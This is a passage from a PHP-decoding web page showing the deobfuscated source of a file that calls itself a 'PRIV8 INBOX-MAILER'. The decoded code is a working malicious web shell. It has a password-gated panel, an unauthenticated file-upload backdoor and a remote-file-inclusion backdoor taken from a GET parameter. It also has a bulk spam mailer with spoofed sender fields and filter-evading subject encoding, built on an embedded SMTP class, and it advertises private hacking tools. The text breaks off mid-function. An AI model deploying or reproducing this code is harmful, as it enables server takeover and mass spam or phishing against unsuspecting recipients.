Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='P2lCP1ouWg1WIz4gWldPZTk+DVYkIG0+Uz4kX0NLVGonUVonZDsNVnNBKHNubk09KC..
Decoded Output download
?><?php
# Upload
$UP = $_GET['up'];
if(isset($UP) && !empty($UP)){
echo"".$_FILES['userfile']."";
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if ( isset($_FILES["userfile"]) ) {
echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
if (move_uploaded_file
($_FILES["userfile"]["tmp_name"], $uploadfile))
echo $uploadfile;
else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
}
}
# ===================================================== #
@session_start();
@set_time_limit(0);
//PASSWORD CONFIGURATION
@$pass = $_POST['pass'];
$chk_login = R7580vwk;
$password = "R7580vwk";
//END CONFIGURATION
if($pass == $password)
{
$_SESSION['nst'] = "$pass";
}
if($chk_login == true)
{
if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
{
die("
<title>[Powered By RMTS]</title>
<center>
<table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
<tr><td valign=middle align=center>
<table width=200 bordercolor=#000000 bgcolor=#000000 border=6>
<tr><td>
<font size=1 face=verdana><center>
</font>
<b></a></b>
</center>
<form method=post>
<font size=1 face=verdana color=red><strong><center>Powered By RMTS</center></strong><br>
<input type=password name=pass size=30>
</form>
<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
<b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]."
</td></tr></table>
");
}
}
# ===================================================== #
# RFI
$in = $_GET['in'];
if(isset($in) && !empty($in)){
echo die(include_once $in);
}
# ===================================================== #
function query_str($params){
$str = '';
foreach ($params as $key => $value) {
$str .= (strlen($str) < 1) ? '' : '&';
$str .= $key . '=' . rawurlencode($value);
}
return ($str);
}
function lrtrim($string){
return stripslashes(ltrim(rtrim($string)));
}
if(isset($_POST['action'] ) ){
$b = query_str($_POST);
parse_str($b);
$sslclick=lrtrim($sslclick);
$action=lrtrim($action);
$message=lrtrim($message);
$emaillist=lrtrim($emaillist);
$from=lrtrim($from);
$reconnect=lrtrim($reconnect);
$epriority=lrtrim($epriority);
$my_smtp=lrtrim($my_smtp);
$ssl_port=lrtrim($ssl_port);
$smtp_username=lrtrim($smtp_username);
$smtp_password=lrtrim($smtp_password);
$replyto=lrtrim($replyto);
$subject=lrtrim($subject);
$realname=lrtrim($realname);
$subject_base=lrtrim($subject);
$realname_base=lrtrim($realname);
$file_name=lrtrim($file);
$urlz=lrtrim($urlz);
$contenttype=lrtrim($contenttype);
$encode_text=$_POST['encode'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
if ($encode_text == "yes") {
$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $subject);
$subject = str_replace(' ', '_', $subject);
$subject = "=?UTF-8?Q?$subject?=";
$realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $realname);
$realname = str_replace(' ', '_', $realname);
$realname = "=?UTF-8?Q?$realname?=";
}
}
?>
<html>
<head>
<title>PHP Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
.auto-style1 {
color: #FFFFFF;
}
.auto-style2 {
border-style: solid;
border-color: #808080;
background-color: #666666;
}
.auto-style3 {
border-style: solid;
border-color: #666666;
background-color: #666666;
}
.auto-style4 {
color: #EDFF00;
font-size: small;
}
.auto-style5 {
color: #FFFFFF;
border-style: solid;
border-color: #666666;
background-color: #666666;
}
.auto-style6 {
background-color: #FFFF00;
}
.auto-style8 {
color: #FFFFFF;
border-style: solid;
border-color: #808080;
background-color: #666666;
}
.auto-style9 {
color: #EB1212;
background-color: #000000;
}
.auto-style10 {
color: #FFFF00;
}
.auto-style11 {
color: #FFFF00;
text-align: left;
}
.auto-style12 {
font-size: small;
}
.auto-style13 {
text-align: left;
}
.auto-style15 {
background-color: #000000;
}
-->
</style>
</head>
<SCRIPT SRC=''></SCRIPT>
<body style="background-color: #000000; color: #FFFF00;">
<p align="center"><font size="5" face="Bauhaus 93"><span class="auto-style10">REALSMTOOLS
PRIV8 INBOX-MAILER</span></font></p>
<p class="auto-style11"><strong>Contact for Priv8 T00l$ ---> Y!: ([email protected])</strong></p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<div class="auto-style13">
<br>
</div>
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36" class="auto-style13">
<b>
<font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style5">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Login:</font></div>
</td>
<td width="18%" height="22" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30"><span class="auto-style1">
</span>
</font></td>
<td height="22" class="auto-style3" style="width: 31%">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Pass:</font></div>
</td>
<td width="41%" height="22" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style5">
<div align="right" class="auto-style1">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
</td>
<td width="18%" height="22" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5"><span class="auto-style1">
(optional)</span></font></td>
<td height="22" class="auto-style3" style="width: 31%">
<div align="right" class="auto-style1">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
Server Smtp:</font></div>
</td>
<td width="41%" height="22" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style5">
<p align="right" class="auto-style1">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td width="18%" height="22" class="auto-style3">
<input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> class="auto-style1" ><span class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></span></td>
<td height="22" class="auto-style3" style="width: 31%">
<p align="right" class="auto-style1">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
After:</font></td>
<td width="41%" height="22" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
<span class="auto-style1">EMAILS</span></font></td>
</tr>
<tr>
<td width="100%" colspan="4" class="auto-style3" style="height: 51px">
<p align="center" class="auto-style15">
<font face="Arial" style="font-size: 9pt"><span class="auto-style6">
<strong><span class="auto-style15">If
you dont have SMTP login, leave blank queries above </span> </strong>
</span></font></td>
</tr>
<tr>
<td width="10%" style="height: 11px">
<?php
if(empty($_GET['Nfiles']))$Nfiles=1;else $Nfiles=$_GET['Nfiles'];
if($_FILES['userfile']['tmp_name'][0]!=''){
for($i=0;$i<$Nfiles&&$_FILES['userfile']['tmp_name'][$i]!='';$i++){
$uploaddir = dirname('index.php');//'/var/www/uploads/';
$uploadfile = $uploaddir .'/'. basename($_FILES['userfile']['name'][$i]);
print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'][$i], $uploadfile)) {
echo '<p><font color="#00FF00" size="2">File is valid, and was successfully sent.</font></p>';
//print_r($_FILES);
} else {
echo '<p><font color="#FF0000" size="2">Filed</font></p>';
//print_r($_FILES);
}
print "</pre>";
}
}
?>
<form action="<?php echo $_SERVER['PHP_SELF'].'?Nfiles='.$Nfiles; ?>" method="post" enctype="multipart/form-data">
<br>
<?php for($i=0;$i<$Nfiles;$i++){echo '<input name="userfile[]" type="file"><br>';}?>
</form> </td>
<td width="18%" style="height: 11px">
<input type="submit" value="Send files"></td>
<td style="height: 11px; width: 31%;">
</td>
<td width="41%" style="height: 11px"></td>
</tr>
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style8">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td width="18%" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?=$from;?>" size="30"><span class="auto-style1">
</span>
</font></td>
<td height="22" class="auto-style2" style="width: 31%">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?=$realname_base;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style8">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width="18%" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?=$replyto;?>" size="30"><span class="auto-style1">
</span>
</font></td>
<td height="22" class="auto-style2" style="width: 31%">
<p align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
Please Choose -</option>
<option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
<option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
</select></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style8">
<div align="right" class="auto-style1"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Subject:</font></div>
</td>
<td colspan="3" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<?=$subject_base;?>" size="90"><span class="auto-style1">
</span>
</font></td>
</tr>
<tr>
<td width="10%" height="22" class="auto-style2">
</td>
<td colspan="3" height="22" class="auto-style2"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<span class="auto-style12"> </span> <span class="auto-style4">Encode sending information ?</span> <select size="1" name="encode">
<option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
<option <? if($encode_text == "no"){print "selected";} ?>>no</option>
</select></font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" class="auto-style3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" ><span class="auto-style1">
Plain
</span>
<input type="radio" name="contenttype" value="html" checked class="auto-style1"><span class="auto-style1">
HTML
</span>
<input type="hidden" name="action" value="send" class="auto-style1">
<input type="submit" value="Send Message" class="auto-style9">
</font></td>
<td width="41%" height="190" class="auto-style3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
</font></td>
</tr>
</table>
</form>
<?
if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die(); }
class SMTP
{
/**
* SMTP server port
* @var int
*/
var $SMTP_PORT = 25;
/**
* SMTP reply line ending
* @var string
*/
var $CRLF = "
";
/**
* Sets whether debugging is turned on
* @var bool
*/
var $do_debug; # the level of debug to perform
/**
* Sets VERP use on/off (default is off)
* @var bool
*/
var $do_verp = false;
/**#@+
* @access private
*/
var $smtp_conn; # the socket to the server
var $error; # error if any on the last call
var $helo_rply; # the reply the server sent to us for HELO
/**#@-*/
/**
* Initialize the class so that the data is in a known state.
* @access public
* @return void
*/
function SMTP() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
/*************************************************************
* CONNECTION FUNCTIONS *
***********************************************************/
/**
* Connect to the server specified on the port specified.
* If the port is not specified use the default SMTP_PORT.
* If tval is specified then a connection will try and be
* established with the server for that number of seconds.
* If tval is not specified the default is 30 seconds to
* try on the connection.
*
* SMTP CODE SUCCESS: 220
* SMTP CODE FAILURE: 421
* @access public
* @return bool
*/
function Connect($host,$port=0,$tval=30) {
# set the error val to null so there is no confusion
$this->error = null;
# make sure we are __not__ connected
if($this->connected()) {
# ok we are connected! what should we do?
# for now we will just give an error saying we
# are already connected
$this->error = array("error" => "Already connected to a server");
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
#connect to the smtp server
$this->smtp_conn = fsockopen($host, # the host of the server
$port, # the port to use
$errno, # error number if any
$errstr, # error message if any
$tval); # give up after ? secs
# verify we connected properly
if(empty($this->smtp_conn)) {
$this->error = array("error" => "Failed to connect to server",
"errno" => $errno,
"errstr" => $errstr);
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": $errstr ($errno)" . $this->CRLF;
}
return false;
}
# sometimes the SMTP server takes a little longer to respond
# so we will give it a longer timeout for the first read
// Windows still does not have support for this timeout function
if(substr(PHP_OS, 0, 3) != "WIN")
socket_set_timeout($this->smtp_conn, $tval, 0);
# get any announcement stuff
$announce = $this->get_lines();
# set the timeout of any socket functions at 1/10 of a second
//if(function_exists("socket_set_timeout"))
// socket_set_timeout($this->smtp_conn, 0, 100000);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
}
return true;
}
/**
* Performs SMTP authentication. Must be run after running the
* Hello() method. Returns true if successfully authenticated.
* @access public
* @return bool
*/
function Authenticate($username, $password) {
// Start authentication
fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "AUTH not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded username
fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "Username not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded password
fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 235) {
$this->error =
array("error" => "Password not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Returns true if connected to a server otherwise false
* @access private
* @return bool
*/
function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = socket_get_status($this->smtp_conn);
if($sock_status["eof"]) {
# hmm this is an odd situation... the socket is
# valid but we are not connected anymore
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" . $this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true; # everything looks good
}
return false;
}
/**
* Closes the socket and cleans up the state of the class.
* It is not considered good to use this function without
* first trying to use QUIT.
* @access public
* @return void
*/
function Close() {
$this->error = null; # so there is no confusion
$this->helo_rply = null;
if(!empty($this->smtp_conn)) {
# close the connection and cleanup
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
/***************************************************************
* SMTP COMMANDS *
*************************************************************/
/**
* Issues a data command and sends the msg_data to the server
* finializing the mail transaction. $msg_data is the message
* that is to be send with the headers. Each header needs to be
* on a single line followed by a <CRLF> with the message headers
* and the message body being seperated by and additional <CRLF>.
*
* Implements rfc 821: DATA <CRLF>
*
* SMTP CODE INTERMEDIATE: 354
* [data]
* <CRLF>.<CRLF>
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 552,554,451,452
* SMTP CODE FAILURE: 451,554
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Data($msg_data) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Data() without being connected");
return false;
}
fputs($this->smtp_conn,"DATA" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 354) {
$this->error =
array("error" => "DATA command not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# the server is ready to accept data!
# according to rfc 821 we should not send more than 1000
# including the CRLF
# characters on a single line so we will break the data up
# into lines by
and/or
then if needed we will break
# each of those into smaller lines to fit within the limit.
# in addition we will be looking for lines that start with
# a period '.' and append and additional period '.' to that
# line. NOTE: this does not count towards are limit.
# normalize the line breaks so we know the explode works
$msg_data = str_replace("
","
",$msg_data);
$msg_data = str_replace("
","
",$msg_data);
$lines = explode("
",$msg_data);
# we need to find a good way to determine is headers are
# in the msg_data or if it is a straight msg body
# currently I am assuming rfc 822 definitions of msg headers
# and if the first field of the first line (':' sperated)
# does not contain a space then it _should_ be a header
# and we can process all lines before a blank "" line as
# headers.
$field = substr($lines[0],0,strpos($lines[0],":"));
$in_headers = false;
if(!empty($field) && !strstr($field," ")) {
$in_headers = true;
}
$max_line_length = 998; # used below; set here for ease in change
while(list(,$line) = @each($lines)) {
$lines_out = null;
if($line == "" && $in_headers) {
$in_headers = false;
}
# ok we need to break this line up into several
# smaller lines
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line,0,$max_line_length)," ");
# Patch to fix DOS attack
if(!$pos) {
$pos = $max_line_length - 1;
}
$lines_out[] = substr($line,0,$pos);
$line = substr($line,$pos + 1);
# if we are processing headers we need to
# add a LWSP-char to the front of the new line
# rfc 822 on long msg headers
if($in_headers) {
$line = " " . $line;
}
}
$lines_out[] = $line;
# now send the lines to the server
while(list(,$line_out) = @each($lines_out)) {
if(strlen($line_out) > 0)
{
if(substr($line_out, 0, 1) == ".") {
$line_out = "." . $line_out;
}
}
fputs($this->smtp_conn,$line_out . $this->CRLF);
}
}
# ok all the message data has been sent so lets get this
# over with aleady
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "DATA not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Expand takes the name and asks the server to list all the
* people who are members of the _list_. Expand will return
* back and array of the result or false if an error occurs.
* Each value in the array returned has the format of:
* [ <full-name> <sp> ] <path>
* The definition of <path> is defined in rfc 821
*
* Implements rfc 821: EXPN <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 550
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string array
*/
function Expand($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Expand() without being connected");
return false;
}
fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "EXPN not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# parse the reply and place in our array to return to user
$entries = explode($this->CRLF,$rply);
while(list(,$l) = @each($entries)) {
$list[] = substr($l,4);
}
return $list;
}
/**
* Sends the HELO command to the smtp server.
* This makes sure that we and the server are in
* the same known state.
*
* Implements from rfc 821: HELO <SP> <domain> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 501, 504, 421
* @access public
* @return bool
*/
function Hello($host="") {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Hello() without being connected");
return false;
}
# if a hostname for the HELO was not specified determine
# a suitable one to send
if(empty($host)) {
# we need to determine some sort of appopiate default
# to send to the server
$host = "localhost";
}
// Send extended hello first (RFC 2821)
if(!$this->SendHello("EHLO", $host))
{
if(!$this->SendHello("HELO", $host))
return false;
}
return true;
}
/**
* Sends a HELO/EHLO command.
* @access private
* @return bool
*/
function SendHello($hello, $host) {
fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => $hello . " not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
$this->helo_rply = $rply;
return true;
}
/**
* Gets help information on the keyword specified. If the keyword
* is not specified then returns generic help, ussually contianing
* A list of keywords that help is available on. This function
* returns the results back to the user. It is up to the user to
* handle the returned data. If an error occurs then false is
* returned with $this->error set appropiately.
*
* Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
*
* SMTP CODE SUCCESS: 211,214
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string
*/
function Help($keyword="") {
$this->error = null; # to avoid confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Help() without being connected");
return false;
}
$extra = "";
if(!empty($keyword)) {
$extra = " " . $keyword;
}
fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 211 && $code != 214) {
$this->error =
array("error" => "HELP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command.
*
* Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,421
* @access public
* @return bool
*/
function Mail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Mail() without being connected");
return false;
}
$useVerp = ($this->do_verp ? "XVERP" : "");
fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "MAIL not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the command NOOP to the SMTP server.
*
* Implements from rfc 821: NOOP <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 421
* @access public
* @return bool
*/
function Noop() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Noop() without being connected");
return false;
}
fputs($this->smtp_conn,"NOOP" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "NOOP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the quit command to the server and then closes the socket
* if there is no error or the $close_on_error argument is true.
*
* Implements from rfc 821: QUIT <CRLF>
*
* SMTP CODE SUCCESS: 221
* SMTP CODE ERROR : 500
* @access public
* @return bool
*/
function Quit($close_on_error=true) {
$this->error = null; # so there is no confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Quit() without being connected");
return false;
}
# send the quit command to the server
fputs($this->smtp_conn,"quit" . $this->CRLF);
# get any good-bye messages
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
}
$rval = true;
$e = null;
$code = substr($byemsg,0,3);
if($code != 221) {
# use e as a tmp var cause Close will overwrite $this->error
$e = array("error" => "SMTP server rejected quit command",
"smtp_code" => $code,
"smtp_rply" => substr($byemsg,4));
$rval = false;
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $e["error"] . ": " .
$byemsg . $this->CRLF;
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
/**
* Sends the command RCPT to the SMTP server with the TO: argument of $to.
* Returns true if the recipient was accepted false if it was rejected.
*
* Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,552,553,450,451,452
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Recipient($to) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Recipient() without being connected");
return false;
}
fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "RCPT not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the RSET command to abort and transaction that is
* currently in progress. Returns true if successful false
* otherwise.
*
* Implements rfc 821: RSET <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500,501,504,421
* @access public
* @return bool
*/
function Reset() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Reset() without being connected");
return false;
}
fputs($this->smtp_conn,"RSET" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "RSET failed",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in.
*
* Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function Send($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Send() without being connected");
return false;
}
fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SEND not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in and send them an email.
*
* Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendAndMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendAndMail() without being connected");
return false;
}
